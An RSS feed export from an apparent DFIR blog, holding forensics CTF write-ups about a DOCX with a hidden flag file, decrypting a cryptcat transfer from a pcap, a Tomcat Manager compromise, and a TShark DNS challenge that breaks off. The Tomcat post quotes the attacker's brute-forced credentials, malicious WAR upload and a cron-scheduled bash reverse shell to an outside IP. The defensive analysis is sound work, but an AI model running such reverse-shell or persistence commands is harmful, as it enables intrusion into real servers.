<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[dfirpro]]></title><description><![CDATA[dfirpro]]></description><link>https://www.dfirpro.in</link><generator>RSS for Node</generator><lastBuildDate>Sat, 18 Apr 2026 10:08:23 GMT</lastBuildDate><atom:link href="https://www.dfirpro.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Cyber Talents – G&P List (Forensics Challenge) Writeup]]></title><description><![CDATA[Lab Link: G&P List » CyberTalents
Challenge Description

Just Open the File and Capture the flag. Submission in MD5.

We are given a Word document file:G&P+lists.docx

Step 1: Initial Safety Check
Before analyzing any unknown file, I first verified i...]]></description><link>https://www.dfirpro.in/cyber-talents-gandp-list-forensics-challenge-writeup</link><guid isPermaLink="true">https://www.dfirpro.in/cyber-talents-gandp-list-forensics-challenge-writeup</guid><category><![CDATA[CyberTalents]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><category><![CDATA[DFIR]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Thu, 04 Sep 2025 04:22:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756959669390/11630a26-bc9e-4f54-9e84-82302adfd414.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lab Link: <a target="_blank" href="https://cybertalents.com/challenges/forensics/gp-list">G&amp;P List » CyberTalents</a></p>
<h2 id="heading-challenge-descriptionhttpscybertalentscomchallengesforensicsgp-list"><a target="_blank" href="https://cybertalents.com/challenges/forensics/gp-list">Challenge Description</a></h2>
<blockquote>
<p><strong>Just Open the File and Capture the flag. Submission in MD5.</strong></p>
</blockquote>
<p>We are given a Word document file:<br /><code>G&amp;P+lists.docx</code></p>
<hr />
<h2 id="heading-step-1-initial-safety-check">Step 1: Initial Safety Check</h2>
<p>Before analyzing any unknown file, I first verified if it might be malicious. I uploaded the <code>.docx</code> to <strong>VirusTotal</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756958646313/2a06d81c-8119-4e8d-9bf1-13b43eaf38a2.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Result: <strong>0/61 detections</strong></p>
</li>
<li><p>Conclusion: The file is not suspicious and safe to analyze further.</p>
</li>
</ul>
<hr />
<h2 id="heading-step-2-opening-the-document">Step 2: Opening the Document</h2>
<p>Opening <code>G&amp;P+lists.docx</code> in <strong>LibreOffice Writer</strong> showed a <strong>normal Word document</strong> with nothing unusual or suspicious. This suggests the flag might be hidden inside the document structure rather than the visible text.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756958759525/4a752bb6-c79d-4603-8a37-54edb133b3b0.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-step-3-file-format-analysis-with-binwalk">Step 3: File Format Analysis with Binwalk</h2>
<p>Since <code>.docx</code> files are essentially <strong>ZIP archives</strong> containing XML and other resources, I ran <code>binwalk</code> to analyze embedded data:</p>
<pre><code class="lang-bash">binwalk G&amp;P+lists.docx
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756958855893/c6bed941-75c3-4414-8089-7472510e8777.png" alt class="image--center mx-auto" /></p>
<p>👉 Interesting! The file contains a hidden <strong>Flag.txt</strong> entry inside the DOCX.</p>
<hr />
<h2 id="heading-step-4-extracting-hidden-files">Step 4: Extracting Hidden Files</h2>
<p>To extract all embedded files:</p>
<pre><code class="lang-bash">binwalk -e G&amp;P+lists.docx
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756959068888/3fa41bb6-947d-417e-9875-f02e54632b93.png" alt class="image--center mx-auto" /></p>
<p>The key file here is <strong>Flag.txt</strong>.</p>
<hr />
<h2 id="heading-step-5-reading-the-flag">Step 5: Reading the Flag</h2>
<p>Finally, I opened the file:</p>
<pre><code class="lang-bash">cat Flag.txt
</code></pre>
<p>Output:</p>
<pre><code class="lang-bash">877c1fa0445adaedc5365d9c139c5219
</code></pre>
<p>This looks like an <strong>MD5 hash</strong>, which aligns perfectly with the challenge description.</p>
<hr />
<h2 id="heading-final-flag">Final Flag</h2>
<pre><code class="lang-bash">877c1fa0445adaedc5365d9c139c5219
</code></pre>
<p>✅ Submit this MD5 hash as the flag.</p>
<hr />
<h2 id="heading-key-learnings">Key Learnings</h2>
<ul>
<li><p>Always check suspicious documents with VirusTotal before opening.</p>
</li>
<li><p>Remember that <strong>DOCX = ZIP archive</strong>, which may hide extra files.</p>
</li>
<li><p><code>binwalk</code> is a powerful tool for uncovering hidden/embedded data.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Cyber Talents - Cypher Anxiety Writeup]]></title><description><![CDATA[Lab Link : Cypher Anxiety » CyberTalents
Introduction
In this challenge, we were provided with a packet capture (find the image.pcap). The objective was to analyze the network traffic, uncover hidden communication, and ultimately recover a transferre...]]></description><link>https://www.dfirpro.in/cyber-talents-cypher-anxiety-writeup</link><guid isPermaLink="true">https://www.dfirpro.in/cyber-talents-cypher-anxiety-writeup</guid><category><![CDATA[CyberTalents]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><category><![CDATA[wireless network]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Thu, 04 Sep 2025 03:03:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756954885407/9ab766ab-816c-4dec-85c6-afbc82226d97.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lab Link : <a target="_blank" href="https://cybertalents.com/challenges/forensics/cypher-anxiety">Cypher Anxiety » CyberTalents</a></p>
<h2 id="heading-introduction">Introduction</h2>
<p>In this challenge, we were provided with a packet capture (<code>find the image.pcap</code>). The objective was to analyze the network traffic, uncover hidden communication, and ultimately recover a transferred image. The final flag was the <strong>MD5 hash</strong> of the recovered image.</p>
<hr />
<h2 id="heading-step-1-protocol-hierarchy-analysis">🔹 Step 1: Protocol Hierarchy Analysis</h2>
<p>I started with <strong>Statistics → Protocol Hierarchy</strong> in Wireshark to get an overview of the captured traffic.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756953149496/645debb9-bdc7-4b90-90e3-1d7bec10a58c.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>3641 packets</strong> in total.</p>
</li>
<li><p>Majority of traffic was <strong>TLS (HTTPS) encrypted</strong>, exchanged with external Google IPs.</p>
</li>
<li><p>A smaller portion (~3.7%) was marked as <strong>plain TCP Data</strong>.</p>
</li>
</ul>
<p>📌 <strong>Inference</strong>: Most communication is secure and irrelevant, but the <strong>unencrypted TCP traffic</strong> is worth deeper inspection.</p>
<hr />
<h2 id="heading-step-2-identifying-conversations">🔹 Step 2: Identifying Conversations</h2>
<p>Using <strong>Statistics → Conversations</strong>, I examined host-to-host communications. Four TCP conversations were identified:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756953189197/f618852f-617b-43c0-a5b3-42ba37796533.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Three with external Google IPs (<code>173.x.x.x</code>) → <strong>TLS encrypted</strong>.</p>
</li>
<li><p>One between <strong>192.168.1.6 ↔ 192.168.1.100</strong> (local-to-local, 216 packets, 129 KB) → <strong>unencrypted</strong>.</p>
</li>
</ul>
<p>📌 <strong>Inference</strong>: The internal traffic is suspicious and likely where the hidden file transfer occurred.</p>
<hr />
<h2 id="heading-step-3-filtering-the-local-conversation">🔹 Step 3: Filtering the Local Conversation</h2>
<p>To isolate the traffic between the two local machines, I applied the filter:</p>
<pre><code class="lang-bash">tcp &amp;&amp; ip.addr == 192.168.1.6 &amp;&amp; ip.addr == 192.168.1.100
</code></pre>
<p>Following a TCP stream revealed <strong>cleartext chat logs</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756953527539/c586e291-645f-448b-82f5-8dc1b4b04337.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">Hey bro
Sup supp, are we ready
yeah, u got the files?
yes but i think the channel is not secured
the UTM will block the file transfer as the DLP module is active
ok we can use cryptcat
ok what the password <span class="hljs-keyword">then</span>
<span class="hljs-built_in">let</span> it be P@ssawordaya
hhh, ok
listen on 7070 and ill send you the file , <span class="hljs-built_in">bye</span>
<span class="hljs-built_in">bye</span>
</code></pre>
<p>📌 <strong>Key Discovery</strong>:</p>
<ul>
<li><p>Tool used: <strong>cryptcat</strong></p>
</li>
<li><p>Password: <strong>P@ssawordaya</strong></p>
</li>
<li><p>Port: <strong>7070</strong></p>
</li>
</ul>
<hr />
<h2 id="heading-step-4-extracting-the-encrypted-file">🔹 Step 4: Extracting the Encrypted File</h2>
<p>Next, I filtered the traffic on port 7070:</p>
<pre><code class="lang-bash">tcp.port == 7070
</code></pre>
<p>From this, I followed the stream (<a target="_blank" href="http://tcp.stream"><code>tcp.stream</code></a> <code>eq 7</code>) containing <strong>encrypted data</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756953705969/a7647f4d-7aae-4654-bdd3-abf4d8c5909b.png" alt class="image--center mx-auto" /></p>
<p>The stream was saved as <strong>Raw data</strong> into a file named <code>encrypted</code>.</p>
<hr />
<h2 id="heading-step-5-decrypting-with-cryptcat">🔹 Step 5: Decrypting with Cryptcat</h2>
<p>To decrypt the transfer, I simulated the original cryptcat communication.</p>
<ol>
<li><p><strong>Listener terminal</strong>:</p>
<pre><code class="lang-bash"> cryptcat -k P@ssawordaya -lvp 7070 &gt; decrypted_image
</code></pre>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756954071333/1e430de9-93a5-423b-ab30-0fdd051038e2.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Sender terminal</strong>:</p>
<pre><code class="lang-bash"> netcat localhost 7070 &lt; encrypted
</code></pre>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756954108448/f8879361-c100-4443-9a5e-7ce16601f7cb.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p>This recreated the file transfer locally and produced the decrypted image file (<code>decrypted_image</code>).</p>
<hr />
<h2 id="heading-step-6-getting-the-flag">🔹 Step 6: Getting the Flag</h2>
<p>Finally, I generated the MD5 hash of the recovered image:</p>
<pre><code class="lang-bash">md5sum decrypted_image
</code></pre>
<p>The output was the challenge flag:</p>
<pre><code class="lang-bash">flag -&gt; {&lt;md5_of_image&gt;}
</code></pre>
<hr />
<h2 id="heading-conclusion">🔹 Conclusion</h2>
<p>Through protocol hierarchy analysis, conversation tracking, and decryption with <code>cryptcat</code>, I was able to uncover the hidden image transfer and extract the flag.</p>
<p>This challenge showcased:</p>
<ul>
<li><p>Identifying suspicious <strong>internal traffic</strong>.</p>
</li>
<li><p>Using <strong>Wireshark filters</strong> effectively.</p>
</li>
<li><p>Understanding how attackers might bypass <strong>UTM/DLP</strong> by tunneling with cryptcat.</p>
</li>
<li><p>Reconstructing and decrypting file transfers.</p>
</li>
</ul>
<p>✅ <strong>Flag obtained successfully.</strong></p>
]]></content:encoded></item><item><title><![CDATA[CyberDefenders - Tomcat Takeover Lab Writeup]]></title><description><![CDATA[Lab Link: Blue team CTF Challenges | Tomcat Takeover - CyberDefenders
Scenario:

“The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic fo...]]></description><link>https://www.dfirpro.in/cyberdefenders-tomcat-takeover-lab-writeup</link><guid isPermaLink="true">https://www.dfirpro.in/cyberdefenders-tomcat-takeover-lab-writeup</guid><category><![CDATA[Wireshark]]></category><category><![CDATA[thm]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[SOC]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Tue, 26 Aug 2025 06:33:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756957193543/d3976232-1115-4087-afa9-97719ccc46c0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lab Link: <a target="_blank" href="https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/">Blue team CTF Challenges | Tomcat Takeover - CyberDefenders</a></p>
<h3 id="heading-scenariohttpscyberdefendersorgblueteam-ctf-challengestomcat-takeover"><a target="_blank" href="https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/"><strong>Scenario:</strong></a></h3>
<blockquote>
<p><a target="_blank" href="https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/"><mark>“The SOC team has identified suspicious activi</mark></a><mark>ty on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.”</mark></p>
</blockquote>
<h3 id="heading-tools-used"><strong>🧰 Tools Used</strong></h3>
<ul>
<li><p><strong>Wireshark</strong> → stream following and inspection of HTTP requests</p>
</li>
<li><p><strong>tshark</strong> → command-line packet filtering and field extraction</p>
</li>
<li><p><a target="_blank" href="https://cyberchef.org/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true,false\)"><strong>CyberChef</strong></a> → decoding Base64 Authorization headers</p>
</li>
<li><p><a target="_blank" href="http://Censys.io"><strong>Censys.io</strong></a> → IP lookup &amp; geolocation of attacker infrastructure</p>
</li>
</ul>
<h2 id="heading-questions-amp-answers"><strong>❓ Questions &amp; Answers</strong></h2>
<h3 id="heading-q1-given-the-suspicious-activity-detected-on-the-web-server-the-pcap-file-reveals-a-series-of-requests-across-various-ports-indicating-potential-scanning-behavior-can-you-identify-the-source-ip-address-responsible-for-initiating-these-requests-on-our-server"><strong>Q1:</strong> Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?</h3>
<h3 id="heading-step-1-identify-target-tomcat-server">Step 1: Identify target Tomcat server:</h3>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">'http.server contains "Apache-Coyote"'</span> -T fields -e ip.src -e http.server
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">10.0.0.112      Apache-Coyote/1.1
</code></pre>
<p>Identifying Tomcat’s default response header (<code>Apache-Coyote/1.1</code>) confirms the server vendor.</p>
<p>📌 <strong>Why?</strong><br />Tomcat by default includes a header like:</p>
<pre><code class="lang-bash">Server: Apache-Coyote/1.1
</code></pre>
<p><strong>Apache-Coyote</strong> is the Tomcat HTTP connector component, so spotting this header is a strong fingerprint of a Tomcat server.</p>
<h3 id="heading-step-2-identify-the-source-initiating-scans">Step 2: Identify the source initiating scans:</h3>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">"ip.dst == 10.0.0.112"</span> -T fields -e ip.src | sort | uniq -c | sort -nr
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">9776 14.0.0.120  <span class="hljs-comment"># attacker</span>
 769 10.0.0.115  <span class="hljs-comment"># likely benign client or scan noise</span>
</code></pre>
<p>👉 <strong>Final Answer:</strong> The IP performing the scans is <strong>14.0.0.120</strong></p>
<hr />
<h3 id="heading-2-based-on-the-identified-ip-address-associated-with-the-attacker-can-you-identify-the-country-from-which-the-attackers-activities-originated"><strong>2.</strong> Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?</h3>
<p>Lookup on <a target="_blank" href="https://search.censys.io/hosts/14.0.0.120"><strong>Censys</strong></a> reveals that <strong>14.0.0.120</strong> is associated with <strong>China</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756187166287/71d6a08c-84e6-467a-9481-bcab07b790e3.png" alt class="image--center mx-auto" /></p>
<p>👉 <strong>Final Answer: China</strong></p>
<hr />
<h3 id="heading-3-from-the-pcap-file-multiple-open-ports-were-detected-as-a-result-of-the-attackers-active-scan-which-of-these-ports-provides-access-to-the-web-server-admin-panel"><strong>3.</strong> From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?</h3>
<p>We need to figure out where the Tomcat admin interface is exposed. Let’s look at the server’s HTTP traffic</p>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">"ip.src == 10.0.0.112 &amp;&amp; http"</span> -T fields -e tcp.srcport | sort -u
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">8080
</code></pre>
<p>The server is listening on <strong>port 8080</strong>.</p>
<p>📌 <strong>Why this matters?</strong><br />By default, Tomcat runs on:</p>
<ul>
<li><p><strong>8080 → HTTP (default Tomcat web interface)</strong></p>
</li>
<li><p><strong>8443 → HTTPS (SSL/TLS)</strong></p>
</li>
<li><p><strong>8009 → AJP connector (backend use, not web-facing)</strong></p>
</li>
</ul>
<p>In this case, the attacker is hitting <a target="_blank" href="http://10.0.0.112:8080"><code>http://10.0.0.112:8080</code></a>, confirming <strong>the admin panel is exposed on 8080</strong>.</p>
<p>👉 <strong>Final Answer: port 8080</strong></p>
<hr />
<h3 id="heading-4-following-the-discovery-of-open-ports-on-our-server-it-appears-that-the-attacker-attempted-to-enumerate-and-uncover-directories-and-files-on-our-web-server-which-tools-can-you-identify-from-the-analysis-that-assisted-the-attacker-in-this-enumeration-process"><strong>4.</strong> Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?</h3>
<p>Check user-agent strings from the attacker:</p>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">"ip.addr==14.0.0.120"</span> -T fields -e http.user_agent | sort | uniq -c | sort -nr
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">   81 gobuster/3.6
   30 Mozilla/5.0 (Firefox)
</code></pre>
<p>👉 <strong>Final Answer:</strong> The attacker used <strong>Gobuster</strong> for directory enumeration.</p>
<hr />
<h3 id="heading-5-after-the-effort-to-enumerate-directories-on-our-web-server-the-attacker-made-numerous-requests-to-identify-administrative-interfaces-which-specific-directory-related-to-the-admin-panel-did-the-attacker-uncover"><strong>5.</strong> After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?</h3>
<p>Let’s search for any requests containing the keyword “manager”:</p>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">'http.request.uri contains "/manager"'</span> -T fields -e http.request.full_uri
</code></pre>
<blockquote>
<p>Found paths:</p>
</blockquote>
<pre><code class="lang-bash">.../manager
.../manager/deploy
.../manager/html
</code></pre>
<p>📌 <strong>Why these paths?</strong><br />Tomcat’s admin/manager interfaces typically live at:</p>
<ul>
<li><p><code>/manager/html</code> → <strong>Web admin console</strong></p>
</li>
<li><p><code>/host-manager/html</code> → <strong>Host manager</strong> (virtual host management)</p>
</li>
</ul>
<p>Here we clearly see <code>/manager/html</code> was accessed, meaning the attacker is targeting the <strong>Tomcat Manager Application</strong> (where file uploads and deployments are possible).</p>
<p>👉 <strong>Final Answer:</strong> <code>/manager</code></p>
<hr />
<h3 id="heading-6-after-accessing-the-admin-panel-the-attacker-tried-to-brute-force-the-login-credentials-can-you-determine-the-correct-username-and-password-that-the-attacker-successfully-used-for-login"><strong>6.</strong> After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?</h3>
<p>Since Tomcat’s <code>/manager/html</code> interface uses <strong>HTTP Basic Authentication</strong>, we know that credentials will appear in the <strong>Authorization header</strong> in Base64 format (<code>username:password</code>).</p>
<h3 id="heading-step-1-extract-all-basic-auth-attempts">Step 1: Extract all Basic Auth attempts</h3>
<p>We can list every attempt with <code>tshark</code>:</p>
<pre><code class="lang-bash">tshark -r web_server.pcap -Y <span class="hljs-string">'http.authorization'</span> -T fields -e frame.number -e ip.src -e http.authorization
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">20533   14.0.0.120      Basic YWRtaW46YWRtaW4=
20537   14.0.0.120      Basic dG9tY2F0OnRvbWNhdA==
20541   14.0.0.120      Basic YWRtaW46
20545   14.0.0.120      Basic YWRtaW46czNjcjN0
20549   14.0.0.120      Basic dG9tY2F0OnMzY3IzdA==
20553   14.0.0.120      Basic YWRtaW46dG9tY2F0
20571   14.0.0.120      Basic YWRtaW46dG9tY2F0
20579   14.0.0.120      Basic YWRtaW46dG9tY2F0
20616   14.0.0.120      Basic YWRtaW46dG9tY2F0
</code></pre>
<p>Clearly, multiple combinations were tried (brute-force attempt).</p>
<h3 id="heading-step-2-identify-the-successful-login">Step 2: Identify the <strong>successful login</strong></h3>
<p>Not all attempts succeed — we need to match an <strong>Authorization header</strong> with an <strong>HTTP 200 OK response</strong>.</p>
<p>We filter for both <code>/manager/html</code> requests <strong>and</strong> their HTTP response codes:</p>
<pre><code class="lang-bash"> tshark -r <span class="hljs-string">'web server.pcap'</span> -Y <span class="hljs-string">"http.request.uri contains \"/manager/html\" || http.response.code"</span> -T fields -e frame.number -e ip.src -e ip.dst -e http.authorization -e http.response.code
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">20553   14.0.0.120   10.0.0.112   Basic YWRtaW46dG9tY2F0
20568   10.0.0.112   14.0.0.120         200
</code></pre>
<p>This shows that the <code>Authorization</code> header in frame <strong>20553</strong> was immediately followed by a <strong>200 OK</strong> (frame 20568). ✅</p>
<h3 id="heading-step-3-decode-the-credentials">Step 3: Decode the credentials</h3>
<p>Now decode the Base64 string:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'YWRtaW46dG9tY2F0'</span> | base64 -d
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">admin:tomcat
</code></pre>
<p>👉 <strong>Final Answer:</strong> Credentials used: <strong>admin:tomcat</strong></p>
<hr />
<h3 id="heading-7-once-inside-the-admin-panel-the-attacker-attempted-to-upload-a-file-with-the-intent-of-establishing-a-reverse-shell-can-you-identify-the-name-of-this-malicious-file-from-the-captured-data">7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?</h3>
<p>Since the attacker gained access to the <strong>Tomcat Manager App</strong>, the next logical step would be uploading a malicious <strong>WAR file</strong> (Web Application Archive) to deploy a web shell or reverse shell.</p>
<h3 id="heading-step-1-filter-for-http-post-requests">Step 1: Filter for HTTP POST requests</h3>
<p>File uploads in Tomcat are sent as <strong>POST requests</strong> to <code>/manager/html/upload</code>. Using <code>tshark</code>:</p>
<pre><code class="lang-bash">tshark -r <span class="hljs-string">'web server.pcap'</span> -Y <span class="hljs-string">'http.request.method == "POST"'</span> \
-T fields -e frame.number -e ip.src -e ip.dst -e http.request.uri
</code></pre>
<blockquote>
<p>Output:</p>
</blockquote>
<pre><code class="lang-bash">20616   14.0.0.120   10.0.0.112   /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974
</code></pre>
<p>This indicates that <strong>Frame 20616</strong> contains a file upload attempt.</p>
<blockquote>
<p><strong>Note:</strong> Tshark doesn’t parse multipart <code>filename=</code> in HTTP POST bodies as a field—so use Wireshark’s <em>Follow HTTP Stream</em> instead.</p>
</blockquote>
<h3 id="heading-step-2-inspect-the-http-stream-in-wireshark">Step 2: Inspect the HTTP stream in Wireshark</h3>
<p>Opening <strong>Frame 20616</strong> in Wireshark → <code>Follow → HTTP Stream</code>, we can view the raw POST data.</p>
<p>Inside the <strong>multipart form-data</strong>, we find:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756188722983/3e88bbae-805c-4029-b898-3984a26b280d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">Content-Disposition: form-data; name=<span class="hljs-string">"deployWar"</span>; filename=<span class="hljs-string">"JXQOZY.war"</span>
</code></pre>
<p>👉 <strong>Final Answer:</strong> The attacker uploaded <code>JXQOZY.war</code>, a malicious WAR file likely containing a reverse shell.</p>
<hr />
<h3 id="heading-8-after-successfully-establishing-a-reverse-shell-on-our-server-the-attacker-aimed-to-ensure-persistence-on-the-compromised-machine-from-the-analysis-can-you-determine-the-specific-command-they-are-scheduled-to-run-to-maintain-their-presence"><strong>8.</strong> After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?</h3>
<h3 id="heading-step-1-filter-for-reverse-shell-connection">Step 1: Filter for reverse shell connection</h3>
<p>A reverse shell typically starts with the victim server connecting <strong>back</strong> to the attacker’s IP. To isolate this, I used a TCP filter in Wireshark:</p>
<pre><code class="lang-bash">ip.src == 14.0.0.120 &amp;&amp; tcp.flags == 0x012
</code></pre>
<ul>
<li><p><code>14.0.0.120</code> = Attacker’s IP</p>
</li>
<li><p><code>0x012</code> = SYN+ACK flags, used during connection establishment</p>
</li>
</ul>
<p>This filter only returned <strong>2 packets</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756189074912/e7ca8640-d520-4065-b550-cfa94165632e.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-2-follow-the-tcp-stream">Step 2: Follow the TCP stream</h3>
<p>By following the <strong>2nd packet’s TCP stream</strong>, I could see the attacker’s interactive shell session.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756189009380/81b49ab1-aca7-482b-881c-de2b9606db4b.png" alt class="image--center mx-auto" /></p>
<p>Commands executed:</p>
<pre><code class="lang-bash">whoami

root

<span class="hljs-built_in">cd</span> /tmp
<span class="hljs-built_in">pwd</span>

/tmp

<span class="hljs-built_in">echo</span> <span class="hljs-string">"* * * * * /bin/bash -c 'bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1'"</span> &gt; cron
crontab -i cron

crontab -l

* * * * * /bin/bash -c <span class="hljs-string">'bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1'</span>
</code></pre>
<p>👉 <strong>Final Answer:</strong><br />The attacker added a cron job:</p>
<pre><code class="lang-bash">/bin/bash -c <span class="hljs-string">'bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1'</span>
</code></pre>
]]></content:encoded></item><item><title><![CDATA[TryHackMe - TShark Challenge II: Directory]]></title><description><![CDATA[Scenario:An alert has been triggered:

“A user came across a poor file index, and their curiosity led to problems.”

The case was assigned to you. Inspect the provided directory-curiosity.pcap located in ~/Desktop/exercise-files and retrieve the arte...]]></description><link>https://www.dfirpro.in/tryhackme-tshark-challenge-ii-directory</link><guid isPermaLink="true">https://www.dfirpro.in/tryhackme-tshark-challenge-ii-directory</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[tshark]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Virustotal]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[blueteam]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Thu, 12 Jun 2025 06:32:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749709761611/caf41696-e505-486e-b301-b4d895ca79ac.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Scenario:</strong><br />An alert has been triggered:</p>
<blockquote>
<p><em>“</em>A user came across a poor file index, and their curiosity led to problems.<em>”</em></p>
</blockquote>
<p>The case was assigned to you. Inspect the provided <strong>directory-curiosity.pcap</strong> located in <code>~/Desktop/exercise-files</code> and retrieve the artefacts to confirm that this alert is a true positive.</p>
<h3 id="heading-tools-used"><strong>🧰</strong> Tools Used</h3>
<ul>
<li><p><strong>TShark</strong></p>
</li>
<li><p><a target="_blank" href="https://www.virustotal.com/gui/home/upload"><strong>VirusTotal</strong></a></p>
</li>
<li><p><a target="_blank" href="https://cyberchef.org/"><strong>CyberChef</strong></a> <strong>(for defanging URLs/IPs)</strong></p>
</li>
</ul>
<h2 id="heading-questions-amp-answers"><strong>❓ Questions &amp; Answers</strong></h2>
<h3 id="heading-q1-what-is-the-name-of-the-malicioussuspicious-domain">Q1: What is the name of the malicious/suspicious domain?</h3>
<p>First, extract all DNS queries:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -Y <span class="hljs-string">"dns.qry.name"</span> -T fields -e dns.qry.name | sort | uniq -c | sort -nr
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707083211/421c5055-5539-4a24-8e18-6ea45919f7d1.png" alt class="image--center mx-auto" /></p>
<p>Searching <a target="_blank" href="http://jx2-bavuong.com"><code>jx2-bavuong.com</code></a> on VirusTotal confirms it is malicious.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707112116/a9624056-fd2a-4e18-8587-d153c1851124.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer (Defanged):</strong><br /><code>jx2-bavuong[.]com</code></p>
<hr />
<h3 id="heading-q2-what-is-the-total-number-of-http-requests-sent-to-the-malicious-domain">Q2: What is the total number of HTTP requests sent to the malicious domain?</h3>
<p>To assess how frequently the user interacted with the suspicious domain, we filter HTTP requests made specifically to <code>jx2-bavuong.com</code>. Using TShark:</p>
